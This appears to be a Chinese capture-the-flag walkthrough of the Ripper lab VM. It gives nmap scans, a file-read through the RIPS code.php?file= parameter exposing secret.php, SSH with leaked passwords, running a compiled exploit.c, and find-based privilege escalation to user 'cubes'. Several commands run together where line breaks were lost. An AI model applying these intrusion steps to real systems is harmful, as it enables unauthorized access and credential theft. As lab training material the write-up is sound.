靶机实战系列之Ripper靶机

nmap -p-  192.168.144.139

nmap -p22,80,10000 -sV  -A   192.168.144.138  

Starting Nmap 7.92 ( https://nmap.org ) at 2022-11-03 01:13 EDTNmap scan report for 192.168.144.139Host is up (0.00042s latency).PORT      STATE SERVICE VERSION22/tcp    open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)80/tcp    open  http    Apache httpd 2.4.29 ((Ubuntu))10000/tcp open  http    MiniServ 1.910 (Webmin httpd)MAC Address: 08:00:27:3A:BA:B6 (Oracle VirtualBox virtual NIC)Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelService detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 43.01 seconds

 http://192.168.144.139/rips/

http://192.168.144.139/rips/windows/code.php?file=/var/www/html/rips/windows/code.php

http://192.168.144.139/rips/windows/code.php?file=/var/www/html/rips/secret.php

ssh   ripper@192.168.144.139     //密码为Gamespeopleplaylsb_release   -agcc -o exp   exploit.cscp exp  ripper@192.168.144.139./exp

找到属主是cubes当前rippper可读的文件find  / -user cubes  -type f  -exec ls -la {} ; 2>/dev/nullcat  /mnt/secret.file      // 密码为   Il00tpeople

 su  cubes    // 密码  Il00tpeoplefind  / -user cubes  -type f  -exec ls -la {} ; 2>/dev/null | grep -v "proc" | grep -v ".png"